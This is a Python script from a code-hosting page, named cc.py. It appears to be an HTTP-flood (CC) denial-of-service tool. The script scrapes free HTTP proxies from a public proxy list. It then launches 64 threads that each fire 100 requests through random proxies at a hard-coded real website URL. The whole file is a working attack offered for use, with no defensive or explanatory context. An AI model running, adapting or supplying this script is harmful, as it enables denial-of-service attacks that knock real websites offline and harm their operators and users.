-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcc.py
51 lines (41 loc) · 1.25 KB
/
cc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import random
from urllib import request
import threading
from bs4 import BeautifulSoup
target_url = 'http://www.rayseasc.com/plugin.php?id=ruixi:index'
proxies_url = 'https://www.kuaidaili.com/free/inha/2/'
proxies = []
def get_proxies():
temp = request.urlopen(proxies_url)
response = temp.read().decode('utf-8')
soup = BeautifulSoup(response, 'html.parser')
trs = soup.find_all('tr')
for tr in trs:
if tr.td is None:
continue
data = tr.find_all('td')
ip = data[0].text
port = data[1].text
method = data[3].text
if method == 'HTTP':
proxies.append(ip + ':' + port)
def cc_attack():
try:
proxy = random.choice(proxies)
proxy_handler = request.ProxyHandler({'http': proxy})
opener = request.build_opener(proxy_handler)
request.install_opener(opener)
for i in range(100):
request.urlopen(target_url)
except Exception as e:
print(e)
return
def do_attack(thread_number=64):
thread_pool = []
for _ in range(thread_number):
thread_pool.append(threading.Thread(target=cc_attack))
for item in thread_pool:
item.start()
if __name__ == '__main__':
get_proxies()
do_attack()